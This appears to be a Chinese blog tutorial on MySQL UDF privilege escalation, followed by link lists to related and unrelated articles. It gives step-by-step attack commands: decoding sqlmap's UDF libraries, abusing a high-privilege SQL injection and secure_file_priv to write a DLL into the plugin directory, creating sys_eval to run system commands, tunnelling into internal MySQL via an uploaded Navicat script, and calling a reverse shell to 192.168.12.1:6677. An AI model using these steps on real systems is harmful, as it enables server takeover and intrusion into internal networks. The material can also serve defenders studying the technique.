概述

UDF 全称 User Defind Function(用户自定义函数),用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在 SQL 语句中调用,就像调用本机函数 version () 一样方便。

UDF 提权是通过这样的方法来实现获取对方主机的system的shell权限,从而达到提权的目的。

要实现 UDF 提权需要有一个动态链接库文件

  • 如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数,该目录默认是不存在的,需要找到 MySQL 的安装目录。
  • 如果是 MySQL < 5.1 的版本,需要把 UDF 的动态链接库文件放置于 C:\Windows\System32。

复现

实验环境

MySQL 5.7.28
PHPstudy
MacOS

获取动态链接库

  1. SQLMap 的udf提权动态链接库

    sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。
    可以利用 sqlmap 自带的解码工具 cloak.py 来解码使用,cloak.py 的位置为:/extra/cloak/cloak.py ,解码方法如下:

    python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so
    
  2. Metasploit 的udf提权动态链接库

寻找插件目录

接下来需要把 UDF 的动态链接库文件放到 MySQL 的插件目录下,可以使用如下的 SQL 语句来查询插件目录:

show variables like '%plugin%';


如果不存在 plugin_dir 的话可以在 webshell 中找到 MySQL 的安装目录然后手工创建 \lib\plugin 文件夹。
查看安装目录的方法:

select @@basedir;

写入动态链接库

前提条件

SQL 注入且是高权限
secure_file_priv 无限制
plugin 目录可写
查询:show variables like ‘%secure%’

在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5 之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
修改方法:在my.ini,查找secure_file_priv。
- 1 存在,修改为secure_file_priv=。
- 2 不存在,则在[mysqld]下,新增secure_file_priv=。

这个时候就可以直接使用 sqlmap 来上传动态链接库,又因为 GET 有字节长度限制,所以往往 POST 注入才可以执行这种攻击。

将 动态链接库 读取为 HEX,

SELECT hex(load_file('/lib_mysqludf_sys_64.so'));


windows环境下使用.dll文件。

然后再写入到插件目录。

SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.dll';



成功写入到插件目录。

创建函数

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

执行命令

攻击者可以利用 udf.dll 提供的函数执行系统命令。

可以看到通过自定义函数已经获取到了最高系统权限。
通过 drop function sys_eval; 可以删除创建的函数。

Navicat通过隧道连接内网MySQL


将Navicat自带的ntunnel_mysql脚本上传到目标服务器上

然后使用 http 隧道即可建立连接。

反弹Shell

上传一个支持反弹shell的动态链接库 udf.dll

mysql> CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';
mysql> select backshell("192.168.12.1",6677);

MySQL UDF 提权相关推荐

  1. Windows与Linux的MYSQL UDF提权分析

    原理分析 什么是UDF 所谓UDF 就是user define function的简称,就是用户自定义函数,用户可以添加函数到mysql中实现功能的扩充,调用方法和一般函数一样类似于database( ...

  2. mysql udf提权_MySQL日志安全分析技巧

    常见的数据库攻击包括弱口令.SQL注入.提升权限.窃取备份等.对数据库日志进行分析,可以发现攻击行为,进一步还原攻击场景及追溯攻击源. 0x01 Mysql日志分析 general query log ...

  3. mysql udf提权_mysql——udf提权

    01 前言 udf = 'user defined function',即'用户自定义函数'.文件后缀为'.dll',常用c语言编写. 通过在udf文件中定义新函数,对MYSQL的功能进行扩充,可以执 ...

  4. mysql udf提权hex_Mysql_UDF提权

    Mysql_UDF提权 作者:admin 发布于:2013-5-25 18:55 Saturday 分类:MYSQL Root权限 一.上传udf.dll 小于mysql5.1版本 C:\\WINDO ...

  5. Mysql udf提权靶场-vulnhub Raven2

    文章目录 前言 一.udf提权介绍 udf介绍 如何使用udf进行提权 二.信息收集 主机探测 nmap扫描 /etc/hosts配置 dirb扫描后台 /vendor 三.getshell 利用CV ...

  6. MYSQL UDF提权

    在学MYSQL的时候刚刚好看到了这个提权,很久之前用过别人现成的,但是一直时间没去细想, 这次就自己复现学习下. 0x00 UDF 什么是UDF? UDF (user defined function ...

  7. MySQL UDF提权执行系统命令

    目录 UDF UDF提权步骤 使用MSF进行UDF提权 UDF提权复现(php环境) UDF UDF (user defined function),即用户自定义函数.是通过添加新函数,对MySQL的 ...

  8. mysql udf提权原理_udf提权原理详解

    0x00-前言 这个udf提权复现搞了三天,终于搞出来了.网上的教程对于初学者不太友好,以至于我一直迷迷糊糊的,走了不少弯路.下面就来总结一下我的理解. 想要知道udf提权是怎么回事,首先要先知道ud ...

  9. mysql udf提权_三分钟解析postgresql提权

    本头条号所分享文章仅供学习交流,请勿非法使用! 近期遇到一些关于提权的问题,和大家分享一下~ 创建环境 介绍 docker中有一个COPY命令: COPY 在 PostgreSQL表和标准文件系统文件 ...

最新文章

  1. monty python-网易云音乐
  2. 【高可用HA】Apache (2) —— Mac下安装多个Apache Tomcat实例
  3. 常用事务代码 sap_SAP_PS_事务代码
  4. 外部集成 网页制作_外部服务的集成测试
  5. 技术员联盟win11系统64位专业版镜像v2021.08
  6. 3.SpringBoot+Redis
  7. vue 指令 v-on 事件修饰符-鼠标事件-什么是事件冒泡
  8. opencv-api draw
  9. curl命令php,php生成curl命令行的方法
  10. 死在路上的创业者们:如何跨越市场推广之坎?
  11. Day3-字符串-数组-正则表达式
  12. 表单构建html的页面代码,网页设计表单制作代码 制作一个很简单网页表单代码...
  13. java docx4j 目录,1、带你一起拥有docx4j
  14. [ROS2 基础] 仿真系统和搭建方法
  15. 目前我国网络安全人才市场状况
  16. uniapp 小程序端上传并压缩图片
  17. java: 不兼容的类型: java.lang.Long无法转换为java.lang.Intege
  18. 计算机主板上的命名,电脑主板常见命名规则整理:微星;华硕;技嘉
  19. linux技术基础教程 [转载]
  20. ji计算机内存不足怎么回事,Win7提示内存不足的原因及应对措施

热门文章

  1. 转载:Vsphere 出现 “ XXX esx.problem.hyperthreading.unmitigated.formatOnHost not found XXX”的解决方案
  2. 移动端APP闪退的主要原因总结
  3. 数据库日常之修改MySQL数据库密码的方法
  4. seo采集,网站seo免费采集,seo采集方法技巧
  5. 点云全局配准复现——Super4pcs实现
  6. 计算机按键音乐文爱,CG/贺敬轩《文爱》[FLAC/MP3-320K]
  7. 酷我音乐linux版本,酷我音乐盒的 Gtk/Linux 实现 – v2.5 版本发布
  8. 布斯(booth)乘法详解和例子
  9. anaconda is not fount
  10. idea的maven中出现target文件不完整或者“class not found“ 或 “test not fount“